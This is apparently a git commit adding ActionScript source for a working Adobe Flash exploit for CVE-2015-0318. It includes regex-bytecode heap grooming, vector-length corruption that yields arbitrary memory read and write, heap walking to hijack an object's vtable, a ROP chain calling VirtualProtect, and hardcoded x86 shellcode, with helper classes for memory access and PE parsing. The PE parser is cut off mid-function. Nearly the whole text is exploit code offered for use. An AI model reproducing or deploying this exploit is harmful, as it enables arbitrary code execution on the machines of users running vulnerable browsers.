Starting point for CVE-2015-0318
parent
df80d56fda
commit
2a9d6e64e2
Binary file not shown.
|
@ -0,0 +1,666 @@
|
|||
package
|
||||
{
|
||||
import flash.display.*;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.external.ExternalInterface;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var i:int;
|
||||
private var j:int;
|
||||
|
||||
private const OP_END:int = 0;
|
||||
private const OP_ANY:int = 12;
|
||||
private const OP_KET:int = 84;
|
||||
private const OP_CBRA:int = 94;
|
||||
private const OP_FAIL:int = 108;
|
||||
private const OP_ACCEPT:int = 109;
|
||||
|
||||
private var testSubject:String = 'c01db33f';
|
||||
private var subject:String = '';
|
||||
|
||||
private var count_576:int = 128;
|
||||
private var pre_576:int = 4;
|
||||
private var groom_576:Array = new Array(count_576);
|
||||
|
||||
private var count_re:int = 8;
|
||||
private var source_re:Vector.<String> = new Vector.<String>(count_re);
|
||||
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
|
||||
private var subjects:Vector.<String> = new Vector.<String>(count_re);
|
||||
|
||||
private var count_504:int = 256 * 3;
|
||||
private var pre_504:int = 30;
|
||||
private var groom_504:Array = new Array(count_504);
|
||||
|
||||
private var junk:Array = new Array();
|
||||
private var junk_idx:int = 0;
|
||||
|
||||
public static function Alert(message:String):void {
|
||||
ExternalInterface.call('debug_alert', message);
|
||||
}
|
||||
|
||||
public static function Debug(message:String):void {
|
||||
ExternalInterface.call('debug_print', message);
|
||||
}
|
||||
|
||||
public function MakeRegex(c:String):String {
|
||||
var i:int;
|
||||
var r:String = '(c01db33f|^(' + c + '*)'
|
||||
for (i = 0; i < 39; ++i) {
|
||||
r += '(A)';
|
||||
}
|
||||
r += '\\'
|
||||
r += '41';
|
||||
for (i = 0; i < 20; ++i) {
|
||||
r += 'A';
|
||||
}
|
||||
r += '('
|
||||
r += '\\'
|
||||
r += 'c'
|
||||
r += '\uc080'
|
||||
r += '*)?(?70))';
|
||||
return r;
|
||||
}
|
||||
|
||||
public function MakeSubject(c:String):String {
|
||||
var i:int;
|
||||
var s:String = c;
|
||||
for (i = 0; i < 0x80 - 0x3d; ++i) {
|
||||
s += c;
|
||||
}
|
||||
for (i = 0; i < 60; ++i) {
|
||||
s += 'A';
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public function MakeByteArray(size:int):ByteArray {
|
||||
var i:int = 0;
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = size;
|
||||
for (i = 0; i < size; ++i) {
|
||||
b.writeByte(0x23);
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
public function Initialise():void {
|
||||
for (i = 0; i < 8; ++i) {
|
||||
subjects[i] = MakeSubject(i.toString());
|
||||
source_re[i] = MakeRegex(i.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public function CompileRegex():RegExp {
|
||||
|
||||
// heap groom the block of regex bytecode we want to follow our
|
||||
// legitimate bytecode.
|
||||
|
||||
for (i = 0; i < count_576; ++i) {
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = 576;
|
||||
|
||||
// regex nop sled :-p
|
||||
for (j = 0; j < 500; ++j) {
|
||||
b.writeByte(OP_ANY);
|
||||
}
|
||||
|
||||
// this is the capturing bracket that find_bracket will be
|
||||
// looking for to match (?70)
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(1); // WORD length of group (only != 0)
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group (must == 70)
|
||||
b.writeByte(70);
|
||||
|
||||
// we use OP_CBRA to write the current match length at one
|
||||
// dword past the end of our offset_vector.
|
||||
//
|
||||
// this is due to another bug in pcre_exec where it is
|
||||
// assumed that the group number is
|
||||
// 0 < number < md->offset_max
|
||||
// and it is only checked that group < md->offset_max, and
|
||||
// then indexing is done backwards frm the end of the buffer,
|
||||
// so a group number of 0 lets us index one dword past the end
|
||||
// of the offset_vector.
|
||||
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(0); // WORD length of group
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group
|
||||
b.writeByte(0);
|
||||
|
||||
// we're done with executing this regex for now.
|
||||
b.writeByte(OP_ACCEPT); // yay a match :-)
|
||||
|
||||
b.writeByte(OP_KET); // closing KET for group (?70)
|
||||
b.writeByte(OP_KET); // closing KET for exploit group
|
||||
|
||||
b.writeByte(OP_END);
|
||||
|
||||
b.writeByte(0);
|
||||
|
||||
groom_576[i] = b;
|
||||
}
|
||||
|
||||
// make some gaps
|
||||
for (i = 0; i < count_576; i += 2) {
|
||||
groom_576[i].length = 0;
|
||||
groom_576[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < (pre_576 * 2); i += 2) {
|
||||
groom_576[i] = MakeByteArray(576);
|
||||
}
|
||||
|
||||
for (i = 0; i < count_re; ++i) {
|
||||
try {
|
||||
Debug('[*] compiling regex');
|
||||
var re:RegExp = new RegExp(source_re[i]);
|
||||
compiled_re[i] = re;
|
||||
var match:Object = re.exec(testSubject);
|
||||
if (match != null && match[0] == 'c01db33f') {
|
||||
Debug('[*] compiled successfully');
|
||||
subject = subjects[i];
|
||||
return re;
|
||||
}
|
||||
else {
|
||||
// that allocation was no good, fill with a bytearray
|
||||
junk[junk_idx++] = MakeByteArray(576);
|
||||
}
|
||||
} catch (error:Error) {
|
||||
Debug('[*] error compiling regex: ' + error.message);
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
}
|
||||
|
||||
Debug('[*] failed first groom');
|
||||
return null;
|
||||
}
|
||||
|
||||
public function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function CorruptVector(r:RegExp):Vector.<uint> {
|
||||
|
||||
var v:Vector.<uint> = null;
|
||||
var uv:Vector.<uint> = null;
|
||||
var ov:Vector.<Object> = null;
|
||||
|
||||
for (i = 0; i < count_504; ++i) {
|
||||
v = new Vector.<uint>(124);
|
||||
v[0] = 0xc01db33f
|
||||
v[1] = i;
|
||||
for (j = 2; j < 124; ++j) {
|
||||
v[j] = 0x88888888;
|
||||
}
|
||||
groom_504[i] = v;
|
||||
}
|
||||
|
||||
for (i = 0; i < count_504; i += 3) {
|
||||
groom_504[i].length = 0;
|
||||
groom_504[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < pre_504; i += 1) {
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
v = null;
|
||||
for (i = 0; i < 128; i += 3) {
|
||||
try {
|
||||
Debug('[*] executing regex');
|
||||
r.exec(subject);
|
||||
} catch (error:Error) {
|
||||
Debug('[*] regex execution failed: ' + error.message);
|
||||
}
|
||||
|
||||
for (j = 1; j < count_504; j += 3) {
|
||||
if (groom_504[j].length != 124) {
|
||||
Debug('[*] corrupted vector');
|
||||
v = groom_504[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v != null) {
|
||||
break;
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
// at this point we have a vector with a corrupt length, hopefully
|
||||
// followed by another vector of legitimate length.
|
||||
|
||||
if (v == null) {
|
||||
Debug('[*] failed to groom for vector corruption');
|
||||
return null;
|
||||
}
|
||||
|
||||
if (v[126] != 0xc01db33f) {
|
||||
Debug('[*] magic check failed!');
|
||||
}
|
||||
|
||||
// read out the index of the following vector; this is the vector
|
||||
// that we will use for the rest of the exploit
|
||||
|
||||
i = v[127];
|
||||
uv = groom_504[i];
|
||||
uv.fixed = true;
|
||||
|
||||
// corrupt the length of uv so that we can access all of memory :)
|
||||
|
||||
v[124] = 0xffffffff;
|
||||
|
||||
// first fix the length of the original corrupted array so we don't
|
||||
// need to worry about it any more...
|
||||
|
||||
uv[negative(0x80)] = 0x6e;
|
||||
|
||||
// now read back 0x1f8 bytes before the first vector; this must be
|
||||
// inside the original offset_vector that we overflowed, (so it is
|
||||
// guaranteed to be safe) and this buffer is directly free'd at the
|
||||
// end of pcre_exec. as it's quite a large allocation, we can be
|
||||
// quite sure that it is still on the freelist and we can steal the
|
||||
// freelist pointer from it, which will likely point to the block
|
||||
// after our second vector.
|
||||
|
||||
uv[0] = uv[negative(0xfe)];
|
||||
|
||||
// we really can't do much sanity checking here; all we know is
|
||||
// that this should be a pointer, and it will be 8 byte aligned.
|
||||
|
||||
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
|
||||
Debug('[*] freelist ptr sanity check failed!');
|
||||
uv[negative(2)] = 0x6e;
|
||||
return null;
|
||||
}
|
||||
|
||||
// uv[0] == address of our vector.<uint>'s buffer
|
||||
|
||||
uv[0] -= 0x1f0;
|
||||
|
||||
return uv;
|
||||
}
|
||||
|
||||
public function FindGCHeap(m:Memory):uint {
|
||||
|
||||
// nothing much to say about this; we know that there's a
|
||||
// FixedBlock at the start of the page that our vector is allocated
|
||||
// on, and that holds a pointer back to the global GCHeap, which is
|
||||
// a static singleton in the flash module. I've copied in the class
|
||||
// declarations for the structures being traversed, for reference.
|
||||
|
||||
var fixed_block:uint = m.vector_base & 0xfffff000;
|
||||
|
||||
/*
|
||||
struct FixedBlock
|
||||
{
|
||||
void* firstFree; // First object on the block's free list
|
||||
void* nextItem; // First object free at the end of the block
|
||||
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
|
||||
FixedBlock* prev; // Previous block on the list of blocks
|
||||
uint16_t numAlloc; // Number of items allocated from the block
|
||||
uint16_t size; // Size of objects in the block
|
||||
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
|
||||
FixedBlock *prevFree; // Previous block on the list of blocks with free items
|
||||
-------> FixedAlloc *alloc; // The allocator that owns this block
|
||||
char items[1];l // Memory for objects starts here
|
||||
};
|
||||
*/
|
||||
|
||||
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
|
||||
|
||||
/*
|
||||
class FixedAlloc
|
||||
{
|
||||
private:
|
||||
-------> GCHeap *m_heap; // The heap from which we obtain memory
|
||||
uint32_t m_itemsPerBlock; // Number of items that fit in a block
|
||||
uint32_t m_itemSize; // Size of each individual item
|
||||
|
||||
FixedBlock* m_firstBlock; // First block on list of free blocks
|
||||
FixedBlock* m_lastBlock; // Last block on list of free blocks
|
||||
FixedBlock* m_firstFree; // The lowest priority block that has free items
|
||||
|
||||
size_t m_numBlocks; // Number of blocks owned by this allocator
|
||||
#ifdef MMGC_MEMORY_PROFILER
|
||||
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
|
||||
#endif
|
||||
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
|
||||
}
|
||||
*/
|
||||
|
||||
var gcheap:uint = m.read_dword(fixed_alloc);
|
||||
|
||||
return gcheap;
|
||||
}
|
||||
|
||||
public function FindPwned(m:Memory, gcheap:uint):uint {
|
||||
|
||||
// we're going to walk the heap to find it because we don't like
|
||||
// being crashy. a lazier approach would be to spray a ton of
|
||||
// objects and scan forward from our array; this is more reliable.
|
||||
|
||||
/*
|
||||
class GCHeap
|
||||
{
|
||||
public:
|
||||
-------> Region *lastRegion;
|
||||
|
||||
private:
|
||||
...
|
||||
};
|
||||
*/
|
||||
|
||||
// I have no idea why this is at offset 4. GCheap is not virtual
|
||||
// so perhaps the Flash code has changed since the github avmplus
|
||||
// release.
|
||||
|
||||
var region:uint = m.read_dword(gcheap + 4);
|
||||
|
||||
/*
|
||||
class Region
|
||||
{
|
||||
public:
|
||||
Region *prev;
|
||||
char *baseAddr;
|
||||
char *reserveTop;
|
||||
char *commitTop;
|
||||
size_t blockId;
|
||||
};
|
||||
*/
|
||||
|
||||
while (region != 0) {
|
||||
var region_base:uint = m.read_dword(region + 4);
|
||||
var region_rtop:uint = m.read_dword(region + 8);
|
||||
var region_top:uint = m.read_dword(region + 12);
|
||||
|
||||
if (region_rtop & 1 != 0) {
|
||||
Debug('[*] this browser already got pwned, go away');
|
||||
return 0;
|
||||
}
|
||||
|
||||
m.write_dword(region + 8, region_rtop + 1);
|
||||
|
||||
// TODO: we can optimise here as we know the alignment of the
|
||||
// magic values.
|
||||
|
||||
Alert(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
|
||||
|
||||
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
|
||||
if (m.read_dword(ptr) == 0xdecafbad
|
||||
&& m.read_dword(ptr + 4) == 0xdecafbad) {
|
||||
|
||||
// we have found our two magic values
|
||||
return ptr - 0x10;
|
||||
}
|
||||
}
|
||||
|
||||
// region = region->prev;
|
||||
region = m.read_dword(region);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
|
||||
|
||||
// at this point we are sandwiched on the stack between the current
|
||||
// frame and the previous frame; this is hazardous, we need to
|
||||
// shift our stack back above the current frame or things will go
|
||||
// wrong(tm).
|
||||
|
||||
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
|
||||
v[i++] = 0x90900000;
|
||||
|
||||
//v[i++] = 0xcccccccc;
|
||||
|
||||
// we're using skylined's win32 calc shellcode, the function
|
||||
// version that saves registers, but without the ret at the end...
|
||||
|
||||
v[i++] = 0x52d23160;
|
||||
v[i++] = 0x6c616368;
|
||||
v[i++] = 0x52e68963;
|
||||
v[i++] = 0x728b6456;
|
||||
v[i++] = 0x0c768b30;
|
||||
v[i++] = 0xad0c768b;
|
||||
v[i++] = 0x7e8b308b;
|
||||
v[i++] = 0x3c5f8b18;
|
||||
v[i++] = 0x781f5c8b;
|
||||
v[i++] = 0x201f748b;
|
||||
v[i++] = 0x4c8bfe01;
|
||||
v[i++] = 0xf901241f;
|
||||
v[i++] = 0x512cb70f;
|
||||
v[i++] = 0x3c81ad42;
|
||||
v[i++] = 0x6e695707;
|
||||
v[i++] = 0x8bf17545;
|
||||
v[i++] = 0x011c1f74;
|
||||
v[i++] = 0xae3c03fe;
|
||||
v[i++] = 0x5858d7ff;
|
||||
v[i++] = 0x90909061;
|
||||
|
||||
// we just put things back how they were; at least, everything
|
||||
// important. we need esp and ebp to be correct, which is easy;
|
||||
// we need ecx to point to the object's vtable and then we can
|
||||
// just jump to the actual method implementation as though we
|
||||
// had hooked it.
|
||||
|
||||
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
|
||||
v[i++] = 0x90900000;
|
||||
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
|
||||
v[i++] = 0x90000012;
|
||||
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
|
||||
v[i++] = ptr;
|
||||
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
|
||||
v[i++] = fun;
|
||||
v[i++] = 0x9090e0ff; // FFE0 jmp eax
|
||||
}
|
||||
|
||||
public function Main() {
|
||||
|
||||
i = 0;
|
||||
|
||||
Initialise();
|
||||
|
||||
var r:RegExp = CompileRegex();
|
||||
if (r == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Alert('hai');
|
||||
|
||||
var v:Vector.<uint> = CorruptVector(r);
|
||||
if (v == null) {
|
||||
Debug("CorruptVector returns null");
|
||||
return;
|
||||
}
|
||||
|
||||
Alert("Memory");
|
||||
var m:Memory = new Memory(v, v[0], 0x6e);
|
||||
|
||||
// at this point we have an absolute read/write primitive letting
|
||||
// us read and write dwords anywhere in memory, so everything else
|
||||
// is a technicality.
|
||||
|
||||
// we need an exception handler from here, because we have a vector
|
||||
// that's addressing the whole address space, and if anything goes
|
||||
// wrong, we want to clean that up or things will get unpleasant.
|
||||
|
||||
try {
|
||||
|
||||
// first we follow some pointers on the heap back to retrieve
|
||||
// the address of the static GCHeap object in the flash module.
|
||||
|
||||
// this is useful for two reasons; firstly it gives us a
|
||||
// pointer into the flash module, but secondly (and more
|
||||
// importantly) we can use the region lists in the GCHeap
|
||||
// structure to safely scan the heap to find things.
|
||||
|
||||
var gcheap:uint = FindGCHeap(m);
|
||||
if (gcheap == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// now we can parse the flash module in memory, locate useful
|
||||
// imports and find the stack adjust gadget that we need.
|
||||
|
||||
Debug('[*] scanning flash module for gadgets');
|
||||
var p:PE32 = new PE32(m, gcheap);
|
||||
|
||||
Debug(' [-] ' + p.base.toString(16) + ' flash base');
|
||||
|
||||
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
|
||||
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
|
||||
|
||||
// 81 c4 40 00 00 00 add esp, 40h
|
||||
// c3 ret
|
||||
|
||||
var gadget_bytes:ByteArray = new ByteArray();
|
||||
gadget_bytes.length = 7;
|
||||
gadget_bytes.writeByte(0x81);
|
||||
gadget_bytes.writeByte(0xc4);
|
||||
gadget_bytes.writeByte(0x40);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0xc3);
|
||||
|
||||
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
|
||||
var ret:uint = add_esp_40h_ret + 6;
|
||||
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
|
||||
Debug(' [-] ' + ret.toString(16) + ' ret');
|
||||
|
||||
// now we create an actionscript class that we can readily
|
||||
// signature on the heap; we're going to find this object and
|
||||
// overwrite its vtable pointer to gain control of execution.
|
||||
|
||||
Debug('[*] scanning heap to find pwned object');
|
||||
var pwned:Pwned = new Pwned();
|
||||
var pwned_ptr:uint = FindPwned(m, gcheap);
|
||||
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
|
||||
if (pwned_ptr == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// we have a pointer to the object; save the vtable pointer for
|
||||
// replacement later and then create a new vtable containing
|
||||
// our gadget at the correct offset for the 'Rop' function.
|
||||
|
||||
// object ptr is actually a ScriptObject* for our ClassClosure?
|
||||
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
|
||||
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
|
||||
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
|
||||
|
||||
var shellcode:uint = m.vector_base + 4;
|
||||
|
||||
WriteShellcode(v, 1, vtable_ptr, method_ptr);
|
||||
|
||||
// invoking the method first makes our life simpler; otherwise
|
||||
// flash will go hunt for the right method, and recovery was
|
||||
// quite messy.
|
||||
|
||||
var a:uint = 0x61616161;
|
||||
pwned.Rop(
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
|
||||
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a);
|
||||
|
||||
// overwrite the method pointer
|
||||
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
|
||||
|
||||
// fix up our vector length already, since we won't need it again.
|
||||
m.Cleanup();
|
||||
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
// where better to rop than the actual stack :-P
|
||||
Debug('[*] getting ma rop on');
|
||||
pwned.Rop(
|
||||
|
||||
// ret sled oh yeah!
|
||||
|
||||
// actually this is just me lazily making stack space so
|
||||
// that VirtualProtect doesn't trample all over any of
|
||||
// flash's stuff and make it have a sad.
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // cf
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
|
||||
virtual_protect, // BOOL WINAPI VirtualProtect(
|
||||
shellcode, // ...
|
||||
shellcode, // LPVOID lpAddress,
|
||||
0x1000, // SIZE_T dwSize,
|
||||
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
|
||||
m.vector_base, // LPDWORD lpflOldProtect
|
||||
// );
|
||||
|
||||
0x41414141, 0x41414141);
|
||||
|
||||
Debug('[*] we survived!');
|
||||
|
||||
// no need to fix the vtable, as we only overwrote the pointer
|
||||
// for the Rop method, and it won't get called again.
|
||||
|
||||
} catch (e:Error) {
|
||||
Debug('[!] error: ' + e.message);
|
||||
} finally {
|
||||
// we *always* need to clean up our corrupt vector as flash
|
||||
// will try to zero it out later otherwise...
|
||||
|
||||
Debug('[*] cleaning up corrupted vector');
|
||||
m.Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
package
|
||||
{
|
||||
// some utilities to encapsulate using the relative read/write of the
|
||||
// corrupt vector.<uint> as an absolute read/write of the whole address
|
||||
// space.
|
||||
public class Memory
|
||||
{
|
||||
public var vector:Vector.<uint>;
|
||||
public var vector_base:uint;
|
||||
public var vector_size:uint;
|
||||
|
||||
private static function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
|
||||
vector = v;
|
||||
vector_base = b;
|
||||
vector_size = s;
|
||||
}
|
||||
|
||||
public function Cleanup():void {
|
||||
|
||||
// restore the correct size to our vector so that flash doesn't
|
||||
// inadvertently trample on lots of memory.
|
||||
|
||||
vector[negative(2)] = vector_size;
|
||||
}
|
||||
|
||||
public function read_dword(address:uint):uint {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and produce the correct
|
||||
// dword, but that could lead to oob reads if we're close to
|
||||
// a page boundary. take the path of least danger, and throw
|
||||
// for debugging.
|
||||
|
||||
throw 'read_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = address - vector_base >> 2;
|
||||
}
|
||||
|
||||
try {
|
||||
return vector[offset];
|
||||
} catch (e:Error) {
|
||||
|
||||
// we can't read at offset 0xffffffff, sometimes we will want
|
||||
// to, but that is just life.
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function read_byte(address:uint):uint {
|
||||
var dword_address:uint = address & 0xfffffffc;
|
||||
var dword:uint = read_dword(dword_address);
|
||||
|
||||
while (address & 0x3) {
|
||||
dword = dword >> 8;
|
||||
address -= 1;
|
||||
}
|
||||
|
||||
return (dword & 0xff);
|
||||
}
|
||||
|
||||
public function read_string(address:uint):String {
|
||||
var string:String = '';
|
||||
var dword:uint = 0;
|
||||
|
||||
while (address & 0x3) {
|
||||
var char:uint = read_byte(address);
|
||||
|
||||
if (char == 0) {
|
||||
return string;
|
||||
}
|
||||
|
||||
string += String.fromCharCode(char);
|
||||
address += 1;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
dword = read_dword(address);
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
address += 4;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
public function write_dword(address:uint, value:uint):void {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and write 2 dwords, and
|
||||
// produce the correct dword, but that could lead to oob reads
|
||||
// and writes if we're close to a page boundary. take the path
|
||||
// of least danger, and throw for debugging.
|
||||
|
||||
throw 'write_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = (address - vector_base) >> 2;
|
||||
}
|
||||
|
||||
vector[offset] = value;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
public class PE32
|
||||
{
|
||||
private var m:Memory;
|
||||
|
||||
public var base:uint;
|
||||
public var dos_header:uint;
|
||||
public var nt_header:uint;
|
||||
public var file_header:uint;
|
||||
public var opt_header:uint;
|
||||
|
||||
private function FindBase(ptr:uint):uint {
|
||||
ptr = ptr & 0xffff0000;
|
||||
var dword:uint = m.read_dword(ptr);
|
||||
|
||||
while ((dword & 0xffff) != 0x5a4d) {
|
||||
ptr -= 0x10000;
|
||||
dword = m.read_dword(ptr);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
public function ParseHeaders():void {
|
||||
dos_header = base;
|
||||
var e_lfanew:uint = m.read_dword(dos_header + 60);
|
||||
|
||||
nt_header = dos_header + e_lfanew;
|
||||
var nt_magic:uint = m.read_dword(nt_header);
|
||||
if (nt_magic != 0x00004550) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
file_header = nt_header + 4;
|
||||
var machine:uint = m.read_dword(file_header);
|
||||
if ((machine & 0xffff) != 0x014c) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
opt_header = nt_header + 24;
|
||||
var opt_magic:uint = m.read_dword(opt_header);
|
||||
if ((opt_magic & 0xffff) != 0x10b) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
opt_header = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public function GetImport(mod_name:String, fun_name:String):uint {
|
||||
if (base == 0 || dos_header == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var data_directory:uint = opt_header + 96;
|
||||
|
||||
var import_dir:uint = data_directory + 8;
|
||||
var import_rva:uint = m.read_dword(import_dir);
|
||||
var import_size:uint = m.read_dword(import_dir + 4);
|
||||
if (import_size == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var import_descriptor:uint = base + import_rva;
|
||||
var orig_first_thunk:uint = m.read_dword(import_descriptor);
|
||||
while (orig_first_thunk != 0) {
|
||||
|
||||
var module_name_ptr:uint =
|
||||
dos_header + m.read_dword(import_descriptor + 12);
|
||||
|
||||
if (module_name_ptr != 0) {
|
||||
var module_name:String = m.read_string(module_name_ptr);
|
||||
if (module_name == mod_name) {
|
||||
orig_first_thunk += dos_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
